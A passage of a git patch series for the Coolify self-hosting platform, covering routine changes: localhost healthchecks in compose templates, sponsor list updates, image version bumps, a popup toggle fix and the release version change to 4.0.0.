diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml
index 2cd1a286d..3525663cd 100644
--- a/templates/compose/cap-captcha.yaml
+++ b/templates/compose/cap-captcha.yaml
@@ -12,6 +12,12 @@ services:
       - SERVICE_URL_CAP_3000
       - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN
       - REDIS_URL=redis://valkey:6379
+    healthcheck:
+      test: ["CMD", "bun", "-e", "fetch('http://localhost:3000').then(r => { if (!r.ok) process.exit(1) }).catch(() => process.exit(1))"]
+      interval: 30s
+      timeout: 5s
+      retries: 3
+      start_period: 5s
     depends_on:
       valkey:
         condition: service_healthy

From 237313f5c74ec083116e6a885a730e8fcf7b1210 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 23 Apr 2026 00:17:53 +0200
Subject: [PATCH 089/102] docs(sponsors): update PrivateAlps description

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 494ad007a..f8ae506b2 100644
--- a/README.md
+++ b/README.md
@@ -60,7 +60,7 @@ ### Huge Sponsors
 * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality
 * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API
 * [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs
-* [PrivateAlps](https://privatealps.net?ref=coolify.io) - Offshore hosting — anonymity, uncensored, security.
+* [PrivateAlps](https://privatealps.net?ref=coolify.io) - Cloud Services Provider, VPS, servers Infrastructure for people who care about privacy and control
 
 ### Big Sponsors
 

From c5ce36018c5a9d95d45908d68e15ddcee8d555ac Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 23 Apr 2026 14:13:55 +0200
Subject: [PATCH 090/102] docs(sponsors): add MindedTech to Small sponsors

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index f8ae506b2..ac1b39b06 100644
--- a/README.md
+++ b/README.md
@@ -152,6 +152,7 @@ ### Small Sponsors
 <a href="https://interviewpal.com/?utm_source=coolify.io"><img width="60px" alt="InterviewPal" src="/public/svgs/interviewpal.svg"/></a>
 <a href="https://transcript.lol/?utm_source=coolify.io"><img width="60px" alt="Transcript LOL" src="https://transcript.lol/logo.png"/></a>
 <a href="https://youstable.com/?utm_source=coolify.io"><img width="60px" alt="YouStable" src="https://github.com/youstable.png"/></a>
+<a href="https://github.com/mindedtech?utm_source=coolify.io"><img width="60px" alt="MindedTech" src="https://github.com/mindedtech.png"/></a>
 
 
 ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio)

From f77fd2161ce5b64ac7e644b63d2c6d856c28e33a Mon Sep 17 00:00:00 2001
From: Gauthier POGAM--LE MONTAGNER <gauthier.pogam-lemontagner@dedale.com>
Date: Thu, 23 Apr 2026 18:08:40 +0200
Subject: [PATCH 091/102] feat(service): add healthcheck to langfuse-worker

---
 templates/compose/langfuse.yaml | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/templates/compose/langfuse.yaml b/templates/compose/langfuse.yaml
index b617cec5c..78260012d 100644
--- a/templates/compose/langfuse.yaml
+++ b/templates/compose/langfuse.yaml
@@ -88,6 +88,11 @@ services:
     environment:
       <<: *app-env
     depends_on: *langfuse-depends-on
+    healthcheck:
+      test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://127.0.0.1:3030/api/health"]
+      interval: 30s
+      timeout: 10s
+      retries: 3
 
   postgres:
     image: postgres:17-alpine

From 32ae288a12d07f1f6a17ddc445d121b0543262a5 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Fri, 24 Apr 2026 00:12:17 +0530
Subject: [PATCH 092/102] fix(service): add port to metadata on plane

---
 templates/compose/plane.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml
index cb9734fe1..440845a1e 100644
--- a/templates/compose/plane.yaml
+++ b/templates/compose/plane.yaml
@@ -1,6 +1,7 @@
 # documentation: https://docs.plane.so/self-hosting/methods/docker-compose
 # slogan: The open source project management tool
 # category: productivity
+# port: 80
 # tags: plane,project-management,tool,open,source,api,nextjs,redis,postgresql,django,pm
 # logo: svgs/plane.svg
 

From b3d6877404a631d80b4f3f612df9c148999ad18c Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Fri, 24 Apr 2026 02:21:33 +0530
Subject: [PATCH 093/102] chore(service): update beszel to 0.18.7

---
 templates/compose/beszel.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml
index bc68c1825..9112c3203 100644
--- a/templates/compose/beszel.yaml
+++ b/templates/compose/beszel.yaml
@@ -9,7 +9,7 @@
 # Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI)
 services:
   beszel:
-    image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026
+    image: 'henrygd/beszel:0.18.7' # Released on 6 April 2026
     environment:
       - SERVICE_URL_BESZEL_8090
       - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true}
@@ -24,7 +24,7 @@ services:
       retries: 10
       start_period: 5s
   beszel-agent:
-    image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+    image: 'henrygd/beszel-agent:0.18.7' # Released on 6 April 2026
     network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
     environment:
       # Required
@@ -46,4 +46,4 @@ services:
       interval: 60s
       timeout: 20s
       retries: 10
-      start_period: 5s
\ No newline at end of file
+      start_period: 5s

From 5f45deedcebc51140c3334d2d0ab90daca45adcb Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Fri, 24 Apr 2026 02:22:08 +0530
Subject: [PATCH 094/102] chore(service): update beszel-agent to 0.18.7

---
 templates/compose/beszel-agent.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml
index 5d0b4fecc..a8391094d 100644
--- a/templates/compose/beszel-agent.yaml
+++ b/templates/compose/beszel-agent.yaml
@@ -6,7 +6,7 @@
 
 services:
   beszel-agent:
-    image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026
+    image: 'henrygd/beszel-agent:0.18.7' # Released on 6 April 2026
     network_mode: host # Network stats graphs won't work if agent cannot access host system network stack
     environment:
       # Required
@@ -28,4 +28,4 @@ services:
       interval: 60s
       timeout: 20s
       retries: 10
-      start_period: 5s
\ No newline at end of file
+      start_period: 5s

From cd47711cd0bfa9935759d313cac0ba1c5da4472c Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Fri, 24 Apr 2026 02:28:08 +0530
Subject: [PATCH 095/102] feat(service): disable calcom

Not maintained anymore by the calcom team
---
 templates/compose/calcom.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates/compose/calcom.yaml b/templates/compose/calcom.yaml
index b5ef778b5..599ef896c 100644
--- a/templates/compose/calcom.yaml
+++ b/templates/compose/calcom.yaml
@@ -1,3 +1,4 @@
+# ignore: true
 # documentation: https://cal.com/docs/developing/introduction
 # slogan: Scheduling infrastructure for everyone.
 # category: productivity

From 424a41dbd02f12c727345d263640c7a46e839646 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Fri, 24 Apr 2026 09:30:57 +0530
Subject: [PATCH 096/102] fix(service): add missing category to jitsi

---
 templates/compose/jitsi.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates/compose/jitsi.yaml b/templates/compose/jitsi.yaml
index db119e4a0..7d2cad25e 100644
--- a/templates/compose/jitsi.yaml
+++ b/templates/compose/jitsi.yaml
@@ -1,6 +1,7 @@
 # documentation: https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/
 # slogan: Self-hosted Jitsi Meet — open-source video conferencing platform
 # tags: jitsi,video,conference,webrtc,meeting,self-hosted
+# category: productivity
 # logo: svgs/jitsi.svg
 # port: 80
 

From d2b7dfe92ae9e297dc46a6bf9a890a33507a63ce Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Fri, 24 Apr 2026 09:40:01 +0530
Subject: [PATCH 097/102] fix(service): remove volume declaration on jitsi

---
 templates/compose/jitsi.yaml | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/templates/compose/jitsi.yaml b/templates/compose/jitsi.yaml
index 7d2cad25e..97699e473 100644
--- a/templates/compose/jitsi.yaml
+++ b/templates/compose/jitsi.yaml
@@ -137,10 +137,3 @@ services:
 
 networks:
   meet.jitsi:
-
-volumes:
-  jitsi-web:
-  jitsi-prosody:
-  jitsi-jicofo:
-  jitsi-jvb:
-  
\ No newline at end of file

From 74cc85139f1cb6ea5dacfc602534cae6decb727e Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 24 Apr 2026 22:33:32 +0200
Subject: [PATCH 098/102] docs(sponsors): add NetRouting to Small sponsors

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index ac1b39b06..8d9803077 100644
--- a/README.md
+++ b/README.md
@@ -153,6 +153,7 @@ ### Small Sponsors
 <a href="https://transcript.lol/?utm_source=coolify.io"><img width="60px" alt="Transcript LOL" src="https://transcript.lol/logo.png"/></a>
 <a href="https://youstable.com/?utm_source=coolify.io"><img width="60px" alt="YouStable" src="https://github.com/youstable.png"/></a>
 <a href="https://github.com/mindedtech?utm_source=coolify.io"><img width="60px" alt="MindedTech" src="https://github.com/mindedtech.png"/></a>
+<a href="https://netrouting.com/?utm_source=coolify.io"><img width="60px" alt="NetRouting" src="https://github.com/netroutingcom.png"/></a>
 
 
 ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio)

From cad9fc99d6d97dc32ee0629e142c4e06def1eb34 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 26 Apr 2026 12:53:45 +0200
Subject: [PATCH 099/102] docs(sponsors): add ParsecPH to Small sponsors

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index 8d9803077..7a3f2a65e 100644
--- a/README.md
+++ b/README.md
@@ -154,6 +154,7 @@ ### Small Sponsors
 <a href="https://youstable.com/?utm_source=coolify.io"><img width="60px" alt="YouStable" src="https://github.com/youstable.png"/></a>
 <a href="https://github.com/mindedtech?utm_source=coolify.io"><img width="60px" alt="MindedTech" src="https://github.com/mindedtech.png"/></a>
 <a href="https://netrouting.com/?utm_source=coolify.io"><img width="60px" alt="NetRouting" src="https://github.com/netroutingcom.png"/></a>
+<a href="https://github.com/parsecph?utm_source=coolify.io"><img width="60px" alt="ParsecPH" src="https://github.com/parsecph.png"/></a>
 
 
 ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio)

From 9cd379e737174c2881acf71fe8bbf0c2afdb7629 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 26 Apr 2026 12:55:34 +0200
Subject: [PATCH 100/102] fix(helper): add Alpine.js click toggle to info
 helper popup

Replace CSS-only hover with Alpine.js click-based open/close,
including click.outside to dismiss.
---
 resources/views/components/helper.blade.php | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/resources/views/components/helper.blade.php b/resources/views/components/helper.blade.php
index 394f6275f..2542839f1 100644
--- a/resources/views/components/helper.blade.php
+++ b/resources/views/components/helper.blade.php
@@ -1,4 +1,5 @@
-<div {{ $attributes->merge(['class' => 'group']) }}>
+<div x-data="{ open: false }" @click.stop="open = !open" @click.outside="open = false"
+    {{ $attributes->merge(['class' => 'group']) }}>
     <div class="info-helper">
         @isset($icon)
             {{ $icon }}
@@ -10,7 +11,7 @@
         @endisset
 
     </div>
-    <div class="info-helper-popup">
+    <div class="info-helper-popup" :class="{ 'block': open }">
         <div class="p-4">
             {!! $helper !!}
         </div>

From 968ae97dfcc46c772a61c55bb23d990da6bab0ec Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 27 Apr 2026 09:01:36 +0200
Subject: [PATCH 101/102] version++

---
 config/constants.php        | 2 +-
 other/nightly/versions.json | 2 +-
 versions.json               | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/config/constants.php b/config/constants.php
index 743b5e38c..739d22a5b 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,7 +2,7 @@
 
 return [
     'coolify' => [
-        'version' => '4.0.0-beta.474',
+        'version' => '4.0.0-beta.475',
         'helper_version' => '1.0.13',
         'realtime_version' => '1.0.13',
         'self_hosted' => env('SELF_HOSTED', true),
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index 27d911c67..e5f43093b 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.474"
+            "version": "4.0.0-beta.475"
         },
         "nightly": {
             "version": "4.0.0"
diff --git a/versions.json b/versions.json
index 27d911c67..e5f43093b 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.474"
+            "version": "4.0.0-beta.475"
         },
         "nightly": {
             "version": "4.0.0"

From d0ed4fa4c4978b362737d772edcff292ae9178fd Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 27 Apr 2026 09:08:58 +0200
Subject: [PATCH 102/102] version ++ finally

---
 config/constants.php        | 2 +-
 other/nightly/versions.json | 2 +-
 versions.json               | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/config/constants.php b/config/constants.php
index 739d22a5b..7504b6ba8 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,7 +2,7 @@
 
 return [
     'coolify' => [
-        'version' => '4.0.0-beta.475',
+        'version' => '4.0.0',
         'helper_version' => '1.0.13',
         'realtime_version' => '1.0.13',
         'self_hosted' => env('SELF_HOSTED', true),
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index e5f43093b..3307b7f2e 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.475"
+            "version": "4.0.0"
         },
         "nightly": {
             "version": "4.0.0"
diff --git a/versions.json b/versions.json
index e5f43093b..3307b7f2e 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.475"
+            "version": "4.0.0"
         },
         "nightly": {
             "version": "4.0.0"